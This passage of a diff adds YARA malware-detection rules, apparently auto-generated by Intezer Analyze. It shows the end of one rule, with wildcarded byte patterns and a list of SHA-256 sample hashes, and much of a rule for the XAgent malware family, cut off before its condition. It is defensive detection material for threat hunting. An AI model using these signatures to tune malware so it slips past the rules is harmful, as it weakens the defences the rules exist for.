+		$block_26 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 0F BE ?? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_27 = { 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 87 }
+		$block_28 = { 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 23 ?? 8B ?? 85 ?? 0F 84 }
+		$block_29 = { 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 03 ?? ?? 0F B6 ?? 33 ?? 8B ?? ?? 03 ?? ?? 88 ?? E9 }
+		$block_30 = { 8B ?? ?? 8D ?? ?? 8B ?? 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF 5? ?? 85 ?? 0F 88 }
+		$block_31 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F 83 }
+		$block_32 = { E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 81 3? ?? ?? ?? ?? 0F 84 }
+		$block_33 = { 2B ?? 8B ?? ?? 5? 8B ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_34 = { 2B ?? 5? 8B ?? ?? 8B ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_35 = { 8B ?? ?? 2B ?? 8B ?? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_36 = { 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? E8 ?? ?? ?? ?? 84 ?? 0F 85 }
+		$block_37 = { 80 B? ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? 0F 85 }
+		$block_38 = { 8B ?? ?? 0F B7 ?? ?? 5? FF 1? ?? ?? ?? ?? 66 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? EB }
+		$block_39 = { 8B ?? ?? 0F B7 ?? ?? 5? FF 1? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 }
+		$block_40 = { 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 88 ?? ?? 8A ?? ?? A8 ?? 0F 85 }
+		$block_41 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F B6 ?? ?? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_42 = { 48 ?? ?? ?? 48 ?? ?? ?? 8B ?? 48 ?? ?? ?? 2B ?? ?? 48 ?? ?? ?? 3B ?? ?? 0F 8E }
+		$block_43 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_44 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_45 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 0F 85 }
+		$block_46 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F B6 ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_47 = { 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 82 }
+		$block_48 = { 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F 87 }
+		$block_49 = { 48 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? FF D? 81 B? ?? ?? ?? ?? ?? ?? ?? ?? 0F 8E }
+		$block_50 = { 8D ?? ?? 5? C7 ?? ?? ?? ?? ?? ?? 8B ?? 68 ?? ?? ?? ?? 5? FF 1? 85 ?? 0F 88 }
+		$block_51 = { 4C ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 84 }
+		$block_52 = { 48 ?? ?? ?? ?? ?? ?? 0F BF ?? ?? 81 E? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_53 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F B6 ?? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_54 = { 48 ?? ?? ?? 8B ?? ?? 89 ?? 4C ?? ?? ?? 48 ?? ?? ?? 49 ?? ?? 4C ?? ?? 0F 83 }
+		$block_55 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? A8 ?? 0F 85 }
+		$block_56 = { 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 87 }
+		$block_57 = { 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 80 3? ?? 0F 85 }
+		$block_58 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F B6 ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_59 = { 8B ?? ?? 8B ?? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_60 = { 8B ?? ?? 6A ?? 6A ?? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 85 }
+		$block_61 = { 0F B7 ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 }
+		$block_62 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 0F 84 }
+		$block_63 = { 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F 87 }
+		$block_64 = { 4C ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 }
+		$block_65 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 84 }
+		$block_66 = { 8B ?? ?? 8B ?? 5? 5? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_67 = { 8B ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_68 = { 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_69 = { 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? A8 ?? 0F 85 }
+		$block_70 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 0F BE ?? 81 F? ?? ?? ?? ?? 41 ?? ?? ?? 44 }
+		$block_71 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 80 3? ?? 0F 95 ?? 80 F? ?? F6 ?? ?? 0F 85 }
+		$block_72 = { 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_73 = { 5? FF 1? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 5? E9 }
+		$block_74 = { E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 85 ?? 0F 85 }
+		$block_75 = { 6A ?? 6A ?? 5? 8B ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_76 = { 0F B6 ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? 0F B6 ?? ?? 3B ?? 7D }
+		$block_77 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0F BF ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_78 = { C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 81 B? ?? ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_79 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_80 = { 48 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0F BA ?? ?? 48 ?? ?? ?? ?? 89 }
+		$block_81 = { 8B ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_82 = { 8B ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_83 = { 8B ?? ?? ?? ?? ?? 0F BF ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? 66 }
+		$block_84 = { BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 8E }
+		$block_85 = { 0F B7 ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 66 ?? ?? ?? 75 }
+		$block_86 = { 0F B6 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? 0F B6 ?? ?? 3B ?? 7D }
+		$block_87 = { 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 80 7? ?? ?? 89 ?? ?? 75 }
+		$block_88 = { 33 ?? B8 ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? 39 ?? ?? 0F 86 }
+		$block_89 = { 33 ?? BA ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? 39 ?? ?? 0F 86 }
+		$block_90 = { 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 38 ?? ?? ?? ?? ?? 0F 85 }
+		$block_91 = { 48 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_92 = { 48 ?? ?? ?? ?? 81 B? ?? ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_93 = { 8B ?? ?? 8B ?? ?? 8B ?? 0F B6 ?? ?? 83 ?? ?? 0F 85 }
+		$block_94 = { 8B ?? ?? 8D ?? ?? 8B ?? 5? 5? FF 5? ?? 85 ?? 0F 88 }
+		$block_95 = { 8B ?? ?? 8B ?? ?? 8B ?? 0F B6 ?? 83 ?? ?? 0F 84 }
+		$block_96 = { 8B ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 39 ?? ?? 0F 83 }
+		$block_97 = { 8B ?? ?? 8B ?? ?? 8B ?? 0F B6 ?? 83 ?? ?? 0F 85 }
+		$block_98 = { 8B ?? ?? 8B ?? ?? 8B ?? 0F B6 ?? ?? 83 ?? ?? 74 }
+		$block_99 = { 0F B7 ?? ?? 5? FF 1? ?? ?? ?? ?? 66 ?? ?? ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "79f977c8f815c5910df382b920460fd6448103923f4dc128fc56fdf3867c47b1" or
+		hash.sha256(0, filesize) == "c5f8236e578a2b877fe538b2ef6f4aeceeb1b9cb73bba4d02fd368a5eb85cfab" or
+		hash.sha256(0, filesize) == "60ee6fdca66444bdc2e4b00dc67a1b0fdee5a3cd9979815e0aab9ce6435262c6" or
+		hash.sha256(0, filesize) == "d2e947a39714478983764b270985d2529ff682ffec9ebac792158353caf90ed3" or
+		hash.sha256(0, filesize) == "1c8869abf756e77e1b6d7d0ad5ca8f1cdce1a111315c3703e212fb3db174a6d5" or
+		hash.sha256(0, filesize) == "566ab945f61be016bfd9e83cc1b64f783b9b8deb891e6d504d3442bc8281b092" or
+		hash.sha256(0, filesize) == "8c488b029188e3280ed3614346575a4a390e0dda002bca08c0335210a6202949" or
+		hash.sha256(0, filesize) == "40ae43b7d6c413becc92b07076fa128b875c8dbb4da7c036639eccf5a9fc784f" or
+		hash.sha256(0, filesize) == "86356fa5be88673bcf6f75e9d80d5bfd1a4e8aa621c3565442997e7af3dbded6" or
+		hash.sha256(0, filesize) == "a979c5094f75548043a22b174aa10e1f2025371bd9e1249679f052b168e194b3" or
+		hash.sha256(0, filesize) == "c6a9db52a3855d980a7f383dbe2fb70300a12b7a3a4f0a995e2ebdef769eaaca" or
+		hash.sha256(0, filesize) == "a2c9041ee1918523e67dbaf1c514f98609d4dbe451ba08657653bb41946fc89d" or
+		hash.sha256(0, filesize) == "35a4ba765653f05de95f51cd2cc2898dafdb2a82d750f51dd892c160eaf7fcd9" or
+		hash.sha256(0, filesize) == "a37eda810ca92486bfb0e1f1b27adb7c9df57aafab686c000ae1d6ec5d6f6180" or
+		hash.sha256(0, filesize) == "688146426628260d32a6b4891d0900eab98c996e66018203d54270e2b76472b1" or
+		hash.sha256(0, filesize) == "4dd8ab2471337a56b431433b7e8db2a659dc5d9dc5481b4209c4cddd07d6dc2b" or
+		hash.sha256(0, filesize) == "730a0e3daf0b54f065bdd2ca427fbe10e8d4e28646a5dc40cbcfb15e1702ed9a" or
+		hash.sha256(0, filesize) == "d2a6064429754571682f475b6b67f36526f1573d846182aab3516c2637fa1e81" or
+		hash.sha256(0, filesize) == "53262019782e1ede6c8b3a4cdfdfffed1fc9abb99a0a39ff193c585450fac044" or
+		hash.sha256(0, filesize) == "cee41e51e82f5ea3cd318e6cb7e1e2218a7a86a2fbf8ffa566e4c5158bc6dd02" or
+		hash.sha256(0, filesize) == "b40909ac0b70b7bd82465dfc7761a6b4e0df55b894dd42290e3f72cb4280fa44" or
+		hash.sha256(0, filesize) == "fc224a6cca956a59812a13e53ba08a279996ea2ee194fe20fb10170ca5c2db6a" or
+		hash.sha256(0, filesize) == "1289ee3d29967f491542c0bdeff6974aad6b37932e91ff9c746fb220d5edb407" or
+		hash.sha256(0, filesize) == "20bf23ec9f25639f0e41a844448ced8fc5eb74ca017ef7ea920bdf6123ef21bd" or
+		hash.sha256(0, filesize) == "e46b038a1e735c4bf9aab5b8610ff38fa19670daf0bace985511acfc3a497459" or
+		hash.sha256(0, filesize) == "854a522a113b6413ff4db5f0ba0aec98cba3c5ef386311660f6dabab26f6aa14" or
+		hash.sha256(0, filesize) == "be2e58669dbdec916f7aaaf4d7c55d866c4f38ac290812b10d680d943bb5b757" or
+		hash.sha256(0, filesize) == "e2a850aeffc9a466c77ca3e39fd3ee4f74d593583666aea5b014aa6c50ca7af8" or
+		hash.sha256(0, filesize) == "4845761c9bed0563d0aa83613311191e075a9b58861e80392914d61a21bad976" or
+		12 of them
+}
+
+rule XAgent {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 0F B6 ?? ?? ?? ?? ?? 4B ?? ?? ?? 88 ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 4C ?? ?? ?? 72 }
+		$block_2 = { 69 ?? ?? ?? ?? ?? 8D ?? ?? 48 ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? 81 F? ?? ?? ?? ?? 0F 8E }
+		$block_3 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 45 ?? ?? 48 ?? ?? ?? ?? ?? ?? FF D? 85 ?? 0F 85 }
+		$block_4 = { 8B ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? 8B ?? 8B ?? ?? 5? FF D? 84 ?? 0F 84 }
+		$block_5 = { 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? 49 ?? ?? 83 ?? ?? 49 ?? ?? 49 ?? ?? 0F B6 ?? ?? 88 ?? ?? ?? 75 }
+		$block_6 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 6A ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_7 = { 0F 10 ?? ?? ?? ?? ?? 0F 29 ?? ?? ?? 4C ?? ?? ?? ?? 4C ?? ?? 33 ?? 48 ?? ?? E8 ?? ?? ?? ?? EB }
+		$block_8 = { 4C ?? ?? ?? ?? 44 ?? ?? ?? ?? 4C ?? ?? ?? ?? 4C ?? ?? ?? ?? 4C ?? ?? ?? ?? 44 ?? ?? ?? 0F 1F }
+		$block_9 = { 0F B6 ?? ?? 0F B6 ?? ?? ?? C1 ?? ?? 33 ?? 0F B6 ?? ?? ?? C1 ?? ?? 33 ?? 83 ?? ?? 33 ?? C7 }
+		$block_10 = { 5? 0F B6 ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? 5? 89 ?? E8 ?? ?? ?? ?? 83 ?? ?? 5? }
+		$block_11 = { 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 49 ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 41 ?? ?? ?? 84 ?? 0F 84 }
+		$block_12 = { 8B ?? 8B ?? ?? 8B ?? FF D? 66 ?? ?? ?? 8A ?? ?? 88 ?? ?? 0F B6 ?? 83 ?? ?? 83 ?? ?? 0F 87 }
+		$block_13 = { 48 ?? ?? ?? ?? 5? 5? 41 ?? 48 ?? ?? ?? 49 ?? ?? 49 ?? ?? 48 ?? ?? 4C ?? ?? 49 ?? ?? 0F 84 }
+		$block_14 = { 8B ?? ?? 8B ?? 83 ?? ?? 8A ?? ?? 30 ?? ?? ?? 8B ?? ?? FE ?? 0F B6 ?? 83 ?? ?? 3B ?? 72 }
+		$block_15 = { 5? 8B ?? 83 ?? ?? 8B ?? 83 ?? ?? ?? ?? ?? ?? 5? 8B ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? 0F 86 }
+		$block_16 = { 8B ?? ?? 5? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? 5? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_17 = { 6A ?? 68 ?? ?? ?? ?? 8B ?? C6 ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 83 ?? ?? 83 ?? ?? 0F 87 }
+		$block_18 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? 8B ?? ?? 2B ?? ?? 5? C1 ?? ?? 5? C6 ?? ?? ?? 85 ?? 0F 84 }
+		$block_19 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 03 ?? 66 ?? ?? ?? 0F B6 ?? 4? 89 ?? ?? ?? ?? ?? 3B ?? 75 }
+		$block_20 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 85 }
+		$block_21 = { 2B ?? 8B ?? B8 ?? ?? ?? ?? F7 ?? 03 ?? C1 ?? ?? 8B ?? C1 ?? ?? 03 ?? 83 ?? ?? 0F 87 }
+		$block_22 = { 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_23 = { 0F B6 ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? 45 ?? ?? 4C ?? ?? ?? ?? 4D ?? ?? 84 ?? 74 }
+		$block_24 = { 4C ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9? 0F B7 ?? ?? ?? 66 ?? ?? 75 }
+		$block_25 = { 8B ?? 8B ?? ?? 8D ?? ?? 5? 8B ?? FF D? 0F B6 ?? ?? 8D ?? ?? C6 ?? ?? ?? 39 ?? ?? 75 }
+		$block_26 = { 2B ?? 8B ?? B8 ?? ?? ?? ?? F7 ?? 03 ?? C1 ?? ?? 8B ?? C1 ?? ?? 03 ?? 83 ?? ?? 0F 85 }
+		$block_27 = { 6A ?? 5? 8D ?? ?? 5? 8B ?? ?? ?? ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 4? 0F 84 }
+		$block_28 = { 8A ?? ?? 8B ?? ?? 2B ?? ?? FE ?? 88 ?? ?? 0F B6 ?? C1 ?? ?? 89 ?? ?? 3B ?? 0F 82 }
+		$block_29 = { 8D ?? ?? ?? ?? ?? ?? 2B ?? 8B ?? ?? ?? FE ?? 8D ?? ?? ?? 01 ?? 0F B6 ?? 3B ?? 72 }
+		$block_30 = { 5? 8B ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_31 = { 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_32 = { 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? ?? 0F 85 }
+		$block_33 = { 5? 5? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_34 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 48 ?? ?? ?? 48 ?? ?? 74 }
+		$block_35 = { 45 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_36 = { 33 ?? 44 ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_37 = { 48 ?? ?? 48 ?? ?? FF 5? ?? 40 ?? ?? ?? 40 ?? ?? ?? 83 ?? ?? 66 ?? ?? ?? 0F 84 }
+		$block_38 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? FF D? 84 ?? 0F 84 }
+		$block_39 = { 8A ?? ?? 8B ?? ?? FE ?? 0F B6 ?? 88 ?? ?? 8B ?? ?? 2B ?? C1 ?? ?? 3B ?? 72 }
+		$block_40 = { 66 ?? ?? 66 ?? ?? 0F B6 ?? ?? 88 ?? ?? 0F B6 ?? ?? 83 ?? ?? 88 ?? ?? 5? EB }
+		$block_41 = { 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_42 = { FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 86 }
+		$block_43 = { 5? 8B ?? ?? ?? ?? ?? 03 ?? 6A ?? 5? 89 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_44 = { 8B ?? ?? ?? ?? ?? 5? FF D? 8B ?? ?? 5? FF D? 5? FF D? 8B ?? ?? 85 ?? 0F 84 }
+		$block_45 = { 8A ?? ?? 8B ?? ?? 2B ?? ?? FE ?? 88 ?? ?? 0F B6 ?? C1 ?? ?? 3B ?? 0F 82 }
+		$block_46 = { 8B ?? ?? 2B ?? ?? 8B ?? ?? 0F B7 ?? BF ?? ?? ?? ?? C1 ?? ?? 3B ?? 0F 86 }
+		$block_47 = { 8B ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 83 ?? ?? 89 ?? ?? 3D ?? ?? ?? ?? 0F 82 }
+		$block_48 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_49 = { 41 ?? ?? 45 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? 0F 82 }
+		$block_50 = { 33 ?? 89 ?? ?? 89 ?? ?? 66 ?? ?? ?? C6 ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 82 }
+		$block_51 = { 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 5? 5? FF D? 83 ?? ?? ?? 0F 82 }
+		$block_52 = { 45 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_53 = { 8B ?? ?? FF D? 8B ?? ?? 03 ?? 8B ?? 0F AF ?? 89 ?? ?? 89 ?? ?? E9 }
+		$block_54 = { 5? 8B ?? 8B ?? ?? 0F B7 ?? 5? 5? 5? 8B ?? 33 ?? 33 ?? 66 ?? ?? 74 }
+		$block_55 = { 0F B6 ?? 8D ?? ?? ?? ?? ?? ?? 0F B6 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_56 = { 0F B7 ?? 8B ?? 81 E? ?? ?? ?? ?? 03 ?? 66 ?? ?? ?? 66 ?? ?? ?? 74 }
+		$block_57 = { 48 ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? 66 ?? ?? ?? ?? 40 ?? ?? 0F 84 }
+		$block_58 = { 33 ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 66 ?? ?? ?? 39 ?? ?? 0F 82 }
+		$block_59 = { 48 ?? ?? ?? 48 ?? ?? 83 ?? ?? 0F B6 ?? ?? 30 ?? ?? 48 ?? ?? 75 }
+		$block_60 = { 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_61 = { 8D ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 84 ?? 0F 84 }
+		$block_62 = { 6A ?? 68 ?? ?? ?? ?? 5? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_63 = { 40 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 83 }
+		$block_64 = { 48 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_65 = { 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 85 }
+		$block_66 = { 41 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 83 }
+		$block_67 = { 85 ?? 0F 94 ?? 84 ?? 0F 94 ?? 48 ?? ?? ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_68 = { 8B ?? ?? 0F B7 ?? ?? 8B ?? 8B ?? 8B ?? ?? FF D? 66 ?? ?? 75 }
+		$block_69 = { 8B ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? FF D? 0F B7 ?? 66 ?? ?? 74 }
+		$block_70 = { 8B ?? ?? 5? 5? 5? 8B ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_71 = { 48 ?? ?? ?? 48 ?? ?? ?? 66 ?? ?? ?? 0F 95 ?? 66 ?? ?? ?? 74 }
+		$block_72 = { FE ?? ?? 0F B6 ?? 8D ?? ?? ?? ?? ?? ?? 8A ?? 88 ?? 88 ?? 75 }
+		$block_73 = { 8B ?? ?? 8B ?? ?? 0F B6 ?? ?? 2B ?? C1 ?? ?? 3B ?? 0F 83 }
+		$block_74 = { 0F B6 ?? ?? 8B ?? 5? 5? 33 ?? 33 ?? 89 ?? ?? 89 ?? ?? 8B }
+		$block_75 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_76 = { 2B ?? D1 ?? 5? 5? 5? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_77 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 4? ?? 83 ?? ?? ?? 0F 82 }
+		$block_78 = { 0F B6 ?? ?? 0F B6 ?? ?? ?? C1 ?? ?? 03 ?? C1 ?? ?? EB }
+		$block_79 = { 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_80 = { 8B ?? 8B ?? ?? 66 ?? ?? ?? 0F 95 ?? 66 ?? ?? ?? ?? 74 }
+		$block_81 = { 5? 8B ?? 5? 8B ?? ?? 0F B7 ?? 33 ?? 33 ?? 66 ?? ?? 74 }
+		$block_82 = { 8D ?? ?? ?? ?? ?? ?? 8B ?? F6 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_83 = { 0F B6 ?? ?? 8A ?? ?? FE ?? ?? 88 ?? ?? ?? ?? ?? ?? 75 }
+		$block_84 = { 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F 86 }
+		$block_85 = { 4F ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? 0F 85 }
